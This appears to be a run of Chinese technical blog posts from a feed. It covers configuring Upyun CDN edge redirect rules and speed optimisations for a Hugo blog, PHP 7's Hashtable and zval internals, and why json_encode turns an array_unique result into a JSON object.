比如有 /a/b、/a、/a/b/c 三个目录,一定要按照 /a/b/c、/a/b、/a 的顺序依次删除。
将所有文件都上传到又拍云之后,我们就可以直接在浏览器中访问博客了。但是,有时候需要配置一些重定向规则,比如旧文章的 URL 重定向、资源不存在时自动跳转到 404 页面等等。在使用服务器部署的时候,都是通过编写 Nginx 配置来实现这些规则,而在又拍云中则是通过设置「边缘规则」。
边缘规则支持两种设置方式,第一种是通用模式,这种模式上手简单,不需要了解边缘规则的语法规则;第二种是编程模式,比前一种模式更加灵活、强大,前提是你要熟悉它的语法规则。
下面是我配置的一些边缘规则。
第一个规则是为了统一域名,我的博客域名是 her-cat.com,而有的人则喜欢使用 www.her-cat.com 进行访问。为了兼容这两种方式,我将 her-cat.com 和 www.her-cat.com 都解析到了又拍云上,然后使用边缘规则对请求的域名进行检测,当域名等于 www.her-cat.com 时,就使用 301 跳转到 her-cat.com。
这个规则我使用的是编程模式,规则内容如下:
$WHEN($EQ($_HOST,www.her-cat.com))$REDIRECT(https://her-cat.com$_URI,301)
语法说明:
在国庆的时候,我将静态博客的构建工具从 hexo 换成了 hugo,带来的问题就是博客中所有文章的地址都发生了变化。原来的地址是 https://her-cat.com/年/月/日/slug.html,新的地址是 https://her-cat.com/posts/年/月/日/slug/。可以看到,域名后面多了 posts 并且删除了 .html 文件后缀,变成了 / 结尾。由于一些文章已经被收录或者其它站点所引用,如果不进行重定向就会导致无法使用原来的地址访问。
这里使用的也是编程模式,与上一个规则相比多了一个步骤,需要先 URL 中提取出年、月、日、slug,然后再进行 301 重定向。
URL 字符串提取:
^/(\d+)/(\d+)/(\d+)/([\w-]+).html$
规则内容:
$REDIRECT(https://her-cat.com/posts/$1/$2/$3/$4/,301)
在 hugo 中,强制要求所有页面的 URI 都必须以 / 结尾,否则无法找到对应的页面。
解决方法是当检测到 URI 不是以 / 结尾时就自动追加 / 并 301 重定向,当然还有一些特殊情况需要处理,比如请求的是文件时不做处理。
这里使用的是通用模式。
条件判断:
请求 URI 正则不匹配(不区分大小写)^/.*/$请求 URI 正则不匹配(不区分大小写)(jpg|jpeg|gif|png|ico|cur|gz|svg|svgz|mp4|ogg|ogv|webm|txt|html|xml|js|css|woff2)$请求 URI 正则不匹配(不区分大小写) /$请求 URI 不等于 /满足以上条件时,执行功能:
边缘重定向 动作,响应 301 状态码,重定向地址为 https://her-cat.com$_URI/。最后一个规则是当请求的页面不存在时,自动重定向到 404 页面。执行重定向动作之前,需要先判断请求的文件类型,如果是资源文件则不处理,只重定向对页面的请求。
这里使用的是通用模式。
条件判断:
请求 URI 正则不匹配(不区分大小写)(jpg|jpeg|gif|png|ico|cur|gz|svg|svgz|mp4|ogg|ogv|webm|txt|html|xml|js|css|woff2)$满足以上条件时,执行功能:
自定义错误页面 动作,响应 404 状态码,跳转地址为 https://her-cat.com/404.html。到这里边缘规则就全部设置完了,在使用正则表达式的时候需要注意,边缘规则并不支持标准的正则表达式。
比如匹配以 .html 结尾的 URI 时,正常使用 \.html$ 就可以了,但是又拍云不支持 \. 这种写法,并且没有任何错误提示,需要不断地编辑、保存规则然后进行调试才能找到问题。
下面是又拍云提供的一些功能,可以提升博客的体验以及访问速度。
使用 PageSpeed Insights 工具对博客进行分析后,发现博客有很多可以优化的地方,比如字体文件、图片等资源的加载。下面是优化前后的评分对比。
优化前:

优化后:

Eureka 主题默认使用 Google fonts 来加载所需的字体文件:
https://fonts.googleapis.com/css2?family=Lora:wght@400;600;700&family=Noto+Serif+SC:wght@400;600;700&display=swap
可以看到,主题使用了两种字体:Lora 和 Noto Serif SC,后面的 400;600;700 表示需要三种粗细值,display=swap 表示在 Google fonts 加载完成之前,先用系统自带的字体完成页面渲染,字体加载完成之后再用相应的字体进行渲染,避免加载字体时白屏闪烁的问题。
下面是该请求返回的 CSS 样式(部分):
/* cyrillic-ext */
@font-face {
font-family: 'Lora';
font-style: normal;
font-weight: 400;
font-display: swap;
src: url(https://fonts.gstatic.com/s/lora/v26/0QIvMX1D_JOuMwf7I_FMl_GW8g.woff2) format('woff2');
unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
font-family: 'Lora';
font-style: normal;
font-weight: 400;
font-display: swap;
src: url(https://fonts.gstatic.com/s/lora/v26/0QIvMX1D_JOuMw77I_FMl_GW8g.woff2) format('woff2');
unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
像这样的 @font-face 定义一共有 306 个,也就是说最坏的情况需要发起 306 个请求才能完成页面上所有字体的渲染,为什么要分成这么多字体文件呢?
目的是按需加载字体文件,提高字体的加载速度。在 unicode-range 中定义了字体文件包含的字符编码范围,当页面上需要用到相应的字符时,浏览器就会请求 src 中的地址加载字体文件进行渲染。
分析网络请求后发现,首次打开博客大概需要发起 30 多个请求来获取字体文件,由于 Google fonts 的服务器在国外,所以即使开启了浏览器缓存,首次访问还是需要花费较长的时间。为了解决这个问题,我将字体文件上传到了又拍云,通过又拍云的 CDN 节点提升字体的加载速度。
操作步骤:
打开 /fonts/fonts-family.css 可以看到最终效果。
除此之外,还需要在又拍云中为字体文件配置浏览器缓存,避免每次都从又拍云加载字体文件。
关于图片的优化主要是首页的头像和底部的又拍云 Logo。
头像的问题在于没有给图片设置宽度和高度,如果图片在页面渲染完成之后才加载出来,会导致图片附近的元素会发生位移,会感觉页面好像抖了一下。
又拍云 Logo 问题在于加载的图片很大,但是实际上又不需要这么大的图片,可以使用又拍云的图片处理对图片进行压缩。
在查看分析报告的时候,发现博客中所有的页面都加载了代码高亮和评论模块的 JS 以及 CSS 文件,但实际上除了详情页面以外,其它页面都不需要代码高亮以及评论功能。为了解决这个问题,我们只需要在 baseof.html 页面中判断一下的页面类型,只有详情页面才加载代码高亮和评论模块相关资源。
首先将主题下的 baseof.html 文件拷贝到博客的 layouts/_default/ 目录下,对 baseof.html 文件进行重写,然后将文件中代码高亮和评论相关的代码删除,替换成以下内容:
{{ $currentPage := . }}
{{/* 判断是否为详情页面 */}}
{{ if eq $currentPage.Kind "page" }}
{{/* 引入评论相关资源 */}}
<link rel="stylesheet" href="https://unpkg.com/[email protected]/dist/gitalk.css">
<script id="gitalk_js" async src="https://unpkg.com/[email protected]/dist/gitalk.min.js"></script>
{{/* 引入代码高亮相关资源 */}}
{{- $assets := .Site.Data.assets }}
{{- if eq .Site.Params.highlight.handler "chroma" }}
{{- $highlightCSS := resources.Get "css/syntax.css" | minify | fingerprint "sha384" }}
<link rel="stylesheet" href="{{ $highlightCSS.Permalink }}" media="print" onload="this.media='all';this.onload=null">
{{- else if eq .Site.Params.highlight.handler "highlightjs" }}
{{- $highlightjsStyle := .Site.Params.highlight.highlightjs.style | default "base16/solarized-light" }}
<link rel="stylesheet" href="{{ printf $assets.highlightjs.css.url $assets.highlightjs.version $highlightjsStyle }}"
{{ with $assets.highlightjs.css.sri }} integrity="{{ . }}" {{ end }} media="print"
onload="this.media='all';this.onload=null" crossorigin>
<script defer src="{{ printf $assets.highlightjs.js.url $assets.highlightjs.version }}"
{{ with $assets.highlightjs.js.sri }} integrity="{{ . }}" {{ end }} crossorigin></script>
{{- range .Site.Params.highlight.highlightjs.languages }}
<script defer src="{{ printf $assets.highlightjs.languages.url $assets.highlightjs.version . }}"
{{ with $assets.highlightjs.languages.sri }} integrity="{{ . }}" {{ end }} crossorigin></script>
{{- end }}
{{- $highlightjsCSS := resources.Get "css/highlightjs.css" | minify | fingerprint "sha384" }}
<link rel="stylesheet" href="{{ $highlightjsCSS.Permalink }}" media="print" onload="this.media='all';this.onload=null">
{{- end }}
{{ end }}
这篇文章介绍了我是如何将博客迁移到又拍云并实现自动化更新博客的,顺便介绍了如何使用边缘规则来实现对请求的处理,最后提到了我对博客的一些优化,虽然优化的手段都比较常规,但实际效果还是很不错的。
最后,祝大家兔年大吉!
]]>为了测量内存利用率,我将会使用下面的脚本创建一个包含 100000 个不同整数的数组:
$startMemory = memory_get_usage();
$array = range(1, 100000);
echo memory_get_usage() - $startMemory, " bytes\n";
下面这张表格展示了使用 PHP 5.6 和 PHP 7 在 32 位和 64 位系统上的内存使用情况:
| 32 bit | 64 bit
------------------------------
PHP 5.6 | 7.37 MiB | 13.97 MiB
------------------------------
PHP 7.0 | 3.00 MiB | 4.00 MiB
可以看到,PHP 7 中的数组在 32 位上使用的内存要比 PHP 5.6 少 2.5 倍,在 64 位(LP64)上要少 3.5 倍,这是相当可观的性能提升。
从本质上讲,PHP 的数组是有序字典,即一个表示键/值对的有序列表,其中键/值映射是使用 Hashtable 实现的。
Hashtable 是一种非常常见的数据结构,它本质上解决了计算机只能直接表示连续的整数索引数组的问题,而程序员往往希望使用字符串或其它复杂类型作为键。
Hashtable 背后的概念非常简单:字符串通过哈希函数(hash function)处理后,哈希函数会返回一个整数(哈希值),然后将这个整数作为「普通」数组的索引。这里有一个问题,两个不同的字符串的可以产生相同的哈希值,因为字符串的大小几乎是无限制的,而哈希值则受到整数大小的限制。因此,HashTable 需要实现某种冲突解决机制。
冲突解决机制主要有两种:开放寻址法,如果发生哈希冲突,元素将被存储在不同的索引中;拉链法,所有哈希值相同的元素被存储在一个链表中。PHP 使用的是第二种。
通常情况下,Hashtable 中的元素是没有明确的顺序的。元素在底层数组中的存储顺序取决于哈希函数(hash function),并且非常的随机。但是这种行为与 PHP 数组的语义不一致:如果你遍历一个 PHP 数组,你将会按照元素的插入顺序取回元素。这意味着 PHP 的 Hashtable 实现必须支持一种额外的机制来记录数组元素的顺序。
在这里,我只对旧的 Hashtable 实现做一个简短的概述,更全面的解释请看《PHP 内部实现》书籍中的 Hashtable 章节。
下面这张图从高层次的视角展示了 PHP 5 的 Hashtable 实现。

「冲突解决机制」链表中的元素被称为「bucket」,每一个 bucket 都是单独分配的。上面的图片中省略了这些 bucket 中存储的实际值(只展示了键)。值被存储在单独分配的 zval 结构体中,其大小为 16 字节(32 位)或 24 字节(64 位)。
上面的图片中没有展示的另一点是,冲突解决机制链表实际上是一个双向链表(使元素的删除变得简单)。除了冲突解决机制链表以外,Hashtable 还有另一个双向链表用来存储数组元素的顺序。对于按照顺序包含 “a”、“b”、“c” 的数组,该链表可能如下所示:

那么,为什么旧的 Hashtable 结构体在内存使用和性能方面都如此低效?有以下几个主要因素:
新的 Hashtable 实现试图解决(或者至少是改善)这些问题。
在讨论新的 Hashtable 之前,我想快速地介绍一下新的 zval 结构体,并强调它与旧结构体的区别。zval 结构体定义如下:
struct _zval_struct {
zend_value value;
union {
struct {
ZEND_ENDIAN_LOHI_4(
zend_uchar type,
zend_uchar type_flags,
zend_uchar const_flags,
zend_uchar reserved)
} v;
uint32_t type_info;
} u1;
union {
uint32_t var_flags;
uint32_t next; /* 哈希冲突链表 */
uint32_t cache_slot; /* 缓存槽 */
uint32_t lineno; /* 行号(用于 ast 节点) */
} u2;
};
你可以忽略这个定义中的 ZEND_ENDIAN_LOHI_4 宏,它只是为了确保在具有不同字节序的机器上有一个可预测的内存布局。
zval 结构体有三个部分:第一个成员是 value。zend_value 联合体的大小为 8 字节,它可以存储不同类型的值,包括整数、字符串、数组等等。实际存储的内容取决于 zval 的类型。
第二部分是 4 个字节大小的 type_info,包括实际的类型(如 IS_STRING 或 IS_ARRAY),以及一些提供给该类型信息的附加标志。例如,如果 zval 存储的是一个对象,那么类型标志会说它是一个非常量(non-constant)、引用计数(refcounted)、垃圾回收(garbage-collectible)、不可复制(non-copying)的类型。
zval 结构体的最后 4 个字节通常是未使用的(它实际上只是显式填充,否则编译器会自动引入这种填充,即内存对齐)。然而在特殊情况下,这块空间被用来存储一些额外的信息。例如,AST 节点用它来存储行号,VM 常量用它来存储缓存槽索引,Hashtable 用它来存储冲突解决机制链表中的下一个元素。最后一部分对我们很重要。
如果你将其与之前的 zval 实现相比较,有一个区别特别明显:新的 zval 结构体不再存储 refcount。这背后的原因是,zval 本身不再被单独分配。相反,zval 直接嵌入到存储它的东西中(例如 Hashtable 的 bucket)。
虽然 zval 本身不再存储 refcount,但是字符串、数组、对象和资源这些复杂的数据类型仍然可以使用它。实际上,新的 zval 设计已经将 refcount(以及循环收集器的信息)移动到了数组、对象等复杂类型中。这种做法有很多优点,其中一部分优点如下:
在所有前期准备工作结束后,我们终于可以看看 PHP 7 所使用的新的 Hashtable 实现。让我们先来看一下 bucket 的结构体:
typedef struct _Bucket {
zend_ulong h;
zend_string *key;
zval val;
} Bucket;
bucket 是 Hashtable 中的一个条目。它包含了你所期望的东西:哈希值 h,字符串键 key 和 zval 值 val。当键为整数时,整数会被存储在 h 中(在这种情况下,键和哈希值是相同的),并且成员 key 将会是 NULL。
如你所见,zval 直接嵌入到了 bucket 结构体中,因此它不需要单独分配,也就不会产生分配带来的开销。
Hashtable 的结构更加有趣:
typedef struct _HashTable {
uint32_t nTableSize;
uint32_t nTableMask;
uint32_t nNumUsed;
uint32_t nNumOfElements;
zend_long nNextFreeElement;
Bucket *arData;
uint32_t *arHash;
dtor_func_t pDestructor;
uint32_t nInternalPointer;
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar flags,
zend_uchar nApplyCount,
uint16_t reserve)
} v;
uint32_t flags;
} u;
} HashTable;
bucket(即数组元素)存储在 arData 数组中。该数组的以 2 次方幂进行分配,数组大小存储在 nTableSize 中(最小值为 8)。元素的实际数量存储在 nNumOfElements 中。注意,这个数组直接包含 Bucket 结构体。以前我们使用一个指向单独分配的 bucket 的指针数组,这意味着我们需要执行更多次的分配和释放,必须要承担分配带来的开销,还要存维护额外的指针。
arData 数组按照插入顺序存储元素。所以第一个数组元素将会被存储在 arData[0] 中,第二个存储在 arData[1] 中等等。任何时候都与所使用的键无关,只取决于插入的顺序。
因此,如果在 Hashtable 中存储 5 个元素,将使用插槽 arData[0] 到 arData[4],下一个空闲的插槽是 arData[5]。我们使用 nNumUsed 来记录这个数字。你可能会问:为什么我们要单独存储它,它和 nNumOfElements 不是一样的吗?
是的,但是只有在只执行插入操作的情况下,它们会是一样的。如果从 Hashtable 中删除了一个元素,我们显然不想移动 arData 中出现在被删除元素之后的所有元素,以便再次拥有一个连续的数组。相反,我们只是使用 IS_UNDEF zval 类型来标记已删除的值。
举个例子,思考下面的代码:
$array = [
'foo' => 0,
'bar' => 1,
0 => 2,
'xyz' => 3,
2 => 4
];
unset($array[0]);
unset($array['xyz']);
将会产生以下 arData 结构:
nTableSize = 8
nNumOfElements = 3
nNumUsed = 5
[0]: key="foo", val=int(0)
[1]: key="bar", val=int(1)
[2]: val=UNDEF
[3]: val=UNDEF
[4]: h=2, val=int(4)
[5]: NOT INITIALIZED
[6]: NOT INITIALIZED
[7]: NOT INITIALIZED
正如你所看到的,前五个 arData 元素已被使用,但是位置 2(键为 0)和位置 3(键为 'xyz')的元素已被替换成了 IS_UNDEF,这是因为它们被 unset 了。现在这些元素的存在只是在浪费内存。但是,当 nNumUsed 等于 nTableSize 时,PHP 将尝试压缩 arData 数组,删除沿途添加的任何 UNDEF 条目。只有当所有的 bucket 都包含一个值时,arData 数组才会被重新分配到两倍的大小。
与 PHP 5.x 中使用的双向链表相比,维护数组顺序的新方法有几个优点。一个明显的优势是,我们为每个 bucket 节省了两个指针,相当于 8/16 字节,此外,这意味着数组的迭代看起来大致如下:
uint32_t i;
for (i = 0; i < ht->nNumUsed; ++i) {
Bucket *b = &ht->arData[i];
if (Z_ISUNDEF(b->val)) continue;
// do stuff with bucket
}
这相当于对内存的线性扫描,这比遍历链表(在相对随机的内存地址之间来回)更高效。
目前的实现有一个问题,就是 arData 永远不会收缩(除非明确告诉它)。因此,如果你创建一个有几百万个元素的数组,之后将它们删除,那么这个数组仍然会占用大量的内存。如果利用率低于一定水平,我们也许应该把 arData 的大小减半。
到目前为止,我们只讨论了 PHP 数组如何表示顺序。实际上,Hashtable 的查找使用的是第二个数组 arHash,它由 uint32_t 类型的值组成。arHash 数组的大小与 arData 数组的大小相同(即 nTableSize),两者实际上都被分配在同一段连续的内存中。
从哈希函数(DJBX33A 是一种哈希算法,用于字符串类型的键)返回的哈希值是一个 32 位或 64 位无符号整数,这个整数值太大了,不能直接作为哈希数组的索引。我们首先需要使用模运算将其调整到 nTableSize 的大小范围内。我们使用 hash & (ht->nTableSize - 1) 代替 hash & ht->nTableSize,如果大小是 2 的幂也是一样的,不需要昂贵的整数除法运算。ht->nTableSize - 1 的值存储在 ht->nTableMask 中。
接下来,我们在哈希数组中查找索引 idx = ht->arHash[hash & ht->nTableMask],这个索引(idx)相当于冲突解决机制链表的头。因此,ht->arData[idx] 是我们要检查的第一个条目。如果键和我们要找的一样,那么就完成了查找。
否则,我们必须继续检查冲突解决机制链表中的下一个元素。该元素的索引存储在 bucket->val.u2.next 中,它是 zval 结构体的最后 4 个字节,这些字节在这个上下文中具有特殊的意义。我们继续遍历这个链表(使用索引而不是指针),直到找到正确的 bucket,或者命中 INVALID_IDX,这意味着查找的键对应的元素不存在。
在代码中,查找机制如下所示:
zend_ulong h = zend_string_hash_val(key);
uint32_t idx = ht->arHash[h & ht->nTableMask];
while (idx != INVALID_IDX) {
Bucket *b = &ht->arData[idx];
if (b->h == h && zend_string_equals(b->key, key)) {
return b;
}
idx = Z_NEXT(b->val); // b->val.u2.next
}
return NULL;
让我们考虑以下这种方法是如何改进以前的实现的:在 PHP 5.x 中,冲突解决机制使用基于指针的双向链表。使用 uint32_t 索引代替指针更好,因为它们的大小只有 64 位系统的一半。此外,在 4 个字节中,意味着我们可以将「next」链接嵌入到未使用的 zval 插槽中,因此我们基本上可以免费使用它。
我们现在使用的是单向链表,不再需要「prev」指针了。「prev」指针主要用于删除元素,因为当你删除某个元素的时候,你需要调整「prev」指针的「next」指针所指向的元素。但是,如果通过键删除元素,通过遍历冲突解决机制链表,你实际上已经知道前一个元素了。
少数情况下,删除发生在其它上下文中(例如,删除当前正在遍历的元素),将不得不遍历冲突解决机制链表找到前一个元素。但由于这是一个相当不重要的场景,我们更倾向于节省内存,而不是增加一个链表用于这种场景下查找前一个元素。
PHP 中所有的数组都使用了 Hashtable。但是,在连续的、以整数为索引的数组(即真正的数组)这种比较常见的情况下,整个哈希过程没有多大意义。这就是为什么 PHP 7 引入了「Packed Hashtable」的概念。
在 Packed Hashtable 中,arHash 数组为 NULL,并且直接使用索引从 arData 中进行查找。如果你要找的键为 5,那么这个元素将位于 arData[5] 中,或者它根本就不存在。没有必要去遍历冲突解决机制链表。
注意,即使对于整数索引数组,PHP 也必须保持顺序。数组 [0 => 1, 1 => 2] 和 [1 => 2, 0 => 1] 是不一样的。Packed Hashtable 优化只有在键按升序排列时才起作用。它们之间可能有间隙(键不一定是连续的),但是它们要是呈递增趋势的。因此,如果元素以「错误」的顺序(例如反过来)插入到数组中,则不会使用 Packed Hashtable。
另外需要注意,Packed Hashtable 仍然存储大量无用的信息。例如,我们可以根据 bucket 的内存地址确定它的索引,因此 bucket->h 是多余的。bucket->key 的值始终为 NULL,因此它也只是在浪费内存。
我们保留这些无用的值以便于 bucket 使用相同的结构体,与是否使用 Packed Hashtable 无关。
这意味着迭代可以使用使用相同的 key。然而,将来我们可能会切换到「fully packed」的结构,如果可能的话,将会使用 zval 数组来实现。
在 PHP 5.x 和 PHP 7 中,对于空的 Hashtable 都做了一些特殊处理。如果你创建一个空数组 [],很有可能你实际上不会插入任何元素。因此,arrData/arHash 数组只有在第一个元素被插入到 Hashtable 时才会被分配。
为了避免在许多地方检查这种特殊情况,这里使用了一个小技巧:当 nTableSize 被设置为提示的大小或默认值 8 时,nTableMask 被设置为 0(通常为 nTableSize - 1)。这意味着 hash & ht->nTableMask 的结果总是为 0。
因此,这种情况下的 arHash 数组只需要有一个包含 INVALID_IDX 值的元素(索引为 0),这个特殊数组被称为 uninitialized_bucket,是静态分配的。当执行查找时,我们总是找到 INVALID_IDX 值,这意味着没有找到键(这正是空数组所需要的)。
这一节将说明 PHP 7 中 Hashtable 实现的最重要的几个方面。首先让我们总结一下为什么新的实现使用较少的内存。在这里,我只使用 64 位系统的数字,并且只关注每个元素的大小,忽略 Hashtable 结构体(从渐进的角度看,它的意义不大)。
在 PHP 5.x 中,每个元素需要高达 144 个字节。在 PHP 7 中,这个值降到了 36 个字节,对于 Packed Hashtable 来说这个值是 32 字节。下面这些就是导致这戏的差异的原因:
zend_string 结构体中。在这种情况下,无非准确的估算内存使用情况,因为 zend_string 结构体是共享的,对于以前的 Hashtable 来说,如果字符串是非内部(non-interned)的,则需要拷贝字符串。然而,上面的总结只是为了更清楚地说明新的 Hashtable 在哪些方面比旧的实现要好。首先,新的 Hashtable 大量的使用了嵌入式(而不是单独分配的)结构体。这会产生什么负面影响吗?
如果你仔细观察本文开头的实际测量结果,你会发现 PHP 7 在 64 位系统上,一个有 100000 个元素的数组占用了 4.00 MiB 的内存。在这种情况下,我们处理的是一个压缩数组(Packed Hashtable),实际上我们预期占用的内存应该是 32 * 100000 = 3.05 MiB。导致这个差异的原因是,在为数组分配内存时,总是以 2 次方幂进行分配。所以当数组包含 100000 个元素时,nTableSize 的值将会是 2 ^ 17 = 131072,最终会分配的内存是 32 * 131072(也就是 4.00 MiB)。
当然,以前的 Hashtable 实现也是使用 2 次方幂进行分配。但是,它只用这种方式分配了一个 bucket 指针数组(其中每个指针是 8 字节)。其它的都是按需分配的。所以在 PHP 7 中,我们浪费了 32 * 31072(0.95 MiB)未使用的内存,而在 PHP 5.x 中,我们只浪费了 8 * 31072(0.24 MiB)。
另一个需要考虑的问题是,如果数组中存储的所有值都不相同,会发生什么情况。为了简单起见,我们假设数组中所有的值都是相同的。因此,我们使用 array_fill 函数替换原本的 range 函数:
$startMemory = memory_get_usage();
$array = array_fill(0, 100000, 42);
echo memory_get_usage() - $startMemory, " bytes\n";
测试的结果如下:
| 32 bit | 64 bit
------------------------------
PHP 5.6 | 4.70 MiB | 9.39 MiB
------------------------------
PHP 7.0 | 3.00 MiB | 4.00 MiB
正如你所看到的,在 PHP 7 中,内存使用情况与 range 的结果一致。由于所有的 zval 都是单独分配的,所以测试结果不可能是不一样的。另一方面,在 PHP 5.x 中,内存使用情况明显降低,这是因为所有的值只使用一个 zval。因此,虽然我们在 PHP 7 上仍然有一些进步,但是现在差距变小了。
一旦我们考虑到字符串键(可能是共享的或非共享的,又或者是非内部的)和复杂值的时候,事情就变得更加复杂了。重点在于 PHP 7 中的数组比 PHP 5.x 占用的内存要少很多,但是在很多情况下,引言中的数字可能过于乐观。
我们已经讨论了很多关于内存使用情况的内容了,所以让我们转到下一个话题,性能。phpng 项目的最终目的不是为了改善内存的使用情况,而是提高性能。内存利用率的提高只是一种手段,因为更少的内存能够提高的 CPU 缓存利用率,从而带来更好的性能。
当然,还有很多其它原因导致新的实现会这么快:首先,减少了内存分配的次数。不管数组元素的值是否共享,我们都为每个元素节省了两次内存分配。内存分配是相当昂贵的操作,这对于性能的提升非常重要。
尤其是现在的数组遍历对缓存更加友好( cache-friendly),因为它现在是对内存进行线性遍历,而不是随机访问(random-access)的链表遍历。
关于性能的话题可能还有很多可以说的,但本文主要的重点是内存的使用情况,所以我不会在这里进一步详述。
就 Hashtable 的实现而言,PHP 7 无疑是向前迈进了一大步,很多无用的开销现在都已经被解决了。
因此,问题是:接下来我们该怎么办?在前面我已经提到的一个想法是,在整数键呈递增的情况下使用「fully packed」结构,这意味着将使用一个普通的 zval 数组实现,这是我们在不开始专门研究统一类型数组的情况下所能做到的最好的事情。
也许还有别的方向可以去尝试一下。例如,将哈希冲突解决机制从拉链法改成开放寻址法(例如使用 Robin Hood probing),在内存使用(没有冲突解决机制链表)和性能(更好的缓存效率,取决于算法的细节)方面都可能会更好。然而,开放寻址法相对来说很难跟保持数组元素顺序的需求结合起来,所以这个想法在实际情况中并不可行。
另一个想法是将 bucket 结构体中的 h 和 key 字段组合起来。整数键只使用 h 字段,字符串键也会在 key 中存储哈希值。然而,这可能会对性能产生不利的影响,因为获取哈希值将需要额外的内存间接寻址。
最后我想说的是,PHP 7 不仅改进了 Hashtable 的内部实现,而且还改进了相关的调用 API。在此之前,我经常不得不查看如何使用 zend_hash_find 这样简单的操作,特别是需要多少个间接级别(提示:3 个)。在 PHP 7 中,只需要编写 zend_hash_find(ht, key),就可以得到一个 zval *。总的来说,我发现为 PHP 7 编写扩展程序变得更加愉快了。
希望我能够为你提供一些对于 PHP 7 的 Hashtable 内部实现的见解。也许我还会写一篇关于 zval 的后续文章。我已经在这篇文章中提到了一些不同之处,但关于这个话题还有很多可以说的。
]]>
{
"query": {
"bool": {
"must": [
{
"terms": {
"user_id": ["123", "456"]
}
}
]
}
}
}
在 PHP 中,通常会使用数组来构造 DSL 语句,然后调用 json_encode() 函数将数组转成 JSON 字符串。
$user_ids = ['123', '456'];
$body = [
'query' => [
'bool' => [
'must' => [
[
'terms' => [
'user_id' => $user_ids,
]
]
]
]
]
];
echo json_encode($body);
但是 $user_ids 一般都是由调用方传过来的,数组里面可能会存在重复的用户 ID,所以需要使用 array_unique() 函数对数组进行去重。
$user_ids = ['123', '456', '123', '789'];
$user_ids = array_unique($user_ids);
$body = [
'query' => [
'bool' => [
'must' => [
[
'terms' => [
'user_id' => $user_ids,
]
]
]
]
]
];
echo json_encode($body);
这时候用生成的 DSL 语句再次请求,就会发现报错了:
{
"error" : {
"root_cause" : [
{
"type" : "x_content_parse_exception",
"reason" : "[8:17] [terms_lookup] unknown field [0]"
}
],
"type" : "x_content_parse_exception",
"reason" : "[8:22] [bool] failed to parse field [must]",
"caused_by" : {
"type" : "x_content_parse_exception",
"reason" : "[8:17] [terms_lookup] unknown field [0]"
}
},
"status" : 400
}
打印生成的 DSL 语句,会发现这次的 DSL 语句跟我们最初的有些许不一样。
{
"query": {
"bool": {
"must": [
{
"terms": {
"user_id": {
"0": "123",
"1": "456",
"3": "789"
}
}
}
]
}
}
}
传入的 user_id 数组变成 JSON 对象了,为什么?
首先可以确定的是,肯定跟 array_unique() 函数的去重操作有关系。
我们知道 array_unique() 函数在对数组去重时,如果数组中有重复的元素,会删除后面出现的那个重复元素,并且不会更新数组其他元素的下标。
举个例子:
$arr = ['aaa', 'bbb', 'aaa', 'ccc'];
$unique_arr = array_unique($arr);
print_r($arr);
print_r($unique_arr);
// Array
// (
// [0] => aaa
// [1] => bbb
// [2] => aaa
// [3] => ccc
// )
// Array
// (
// [0] => aaa
// [1] => bbb
// [3] => ccc
// )
在上面的例子中,下标为 2 的重复元素被删除了,但是其它元素的下标依然是保持原样的。
如果再分别调用 json_encode() 函数,没有去重操作的数组转成 JSON 字符串后是 JSON 数组,而经过去重操作的数组却变成了 JSON 对象。
arr: ["aaa","bbb","aaa","ccc"]
unique_arr: {"0":"aaa","1":"bbb","3":"ccc"}
通过对比,两个数组除了元素数量不一样以外,另一个区别就是经过去重后的数组的下标不是连续的,所以 PHP 将该数组转为 JSON 字符串时,认为需要将该数组转成 JSON 对象。
为了验证这一想法,我们在 PHP 源码中找到 json_encode() 函数的实现来验证一下,因为调用 json_encode() 函数时传入的是数组类型的变量,所以实际上调用的是 php_json_encode_array() 函数。
static int php_json_encode_array(smart_str *buf, zval *val, int options, php_json_encoder *encoder) /* {{{ */
{
// 判断变量是不是数组类型
if (Z_TYPE_P(val) == IS_ARRAY) {
myht = Z_ARRVAL_P(val);
prop_ht = NULL;
// 如果没有强制返回 JSON 对象的话,就调用 php_json_determine_array_type 检查变量要输出
r = (options & PHP_JSON_FORCE_OBJECT) ? PHP_JSON_OUTPUT_OBJECT : php_json_determine_array_type(val);
} else {
// 不是数组的话则返回 JSON_对象
prop_ht = myht = zend_get_properties_for(val, ZEND_PROP_PURPOSE_JSON);
r = PHP_JSON_OUTPUT_OBJECT;
}
// 根据类型在 JSON 字符串首部添加相应的字符
if (r == PHP_JSON_OUTPUT_ARRAY) {
smart_str_appendc(buf, '[');
} else {
smart_str_appendc(buf, '{');
}
// 这里省略了转换的逻辑
// 根据类型在 JSON 字符串末尾添加相应的字符
if (r == PHP_JSON_OUTPUT_ARRAY) {
smart_str_appendc(buf, ']');
} else {
smart_str_appendc(buf, '}');
}
zend_release_properties(prop_ht);
return SUCCESS;
}
通过上面删减过的代码,可以知道我们传入的数组最终转成 JSON 数组还是 JSON 对象,是由 r 这个变量来控制的。当 r 等于 PHP_JSON_OUTPUT_ARRAY 时,将数组转成 JSON 数组,否则转成 JSON 对象。
而变量 r 的值则是由传入的变量的类型来控制的,由于我们传入的是数组类型,并且没有设置强制转为对象的选项,所以最终是由 php_json_determine_array_type() 函数来确定要将数组转换成什么类型。
static int php_json_determine_array_type(zval *val)
{
int i;
HashTable *myht = Z_ARRVAL_P(val);
// 获取数组的长度
i = myht ? zend_hash_num_elements(myht) : 0;
if (i > 0) {
zend_string *key;
zend_ulong index, idx;
if (HT_IS_PACKED(myht) && HT_IS_WITHOUT_HOLES(myht)) {
return PHP_JSON_OUTPUT_ARRAY;
}
idx = 0;
// 遍历数组
ZEND_HASH_FOREACH_KEY(myht, index, key) {
if (key) {
// 如果元素设置了 key,返回 PHP_JSON_OUTPUT_OBJECT
return PHP_JSON_OUTPUT_OBJECT;
} else {
// 重点!当元素的下标不等于随着遍历递增的 idx 时,返回 PHP_JSON_OUTPUT_OBJECT
if (index != idx) {
return PHP_JSON_OUTPUT_OBJECT;
}
}
// 下标递增
idx++;
} ZEND_HASH_FOREACH_END();
}
// 默认返回 PHP_JSON_OUTPUT_ARRAY
return PHP_JSON_OUTPUT_ARRAY;
}
该函数的主要逻辑是,通过遍历数组检查每一个元素的 key 和下标。如果数组中的某个元素设置了 key,或者元素的下标不等于随着遍历而递增的索引时,就返回 PHP_JSON_OUTPUT_OBJECT,否则返回 PHP_JSON_OUTPUT_ARRAY。
可以看到 json_encode() 函数的实现跟我们的猜想是一样的。
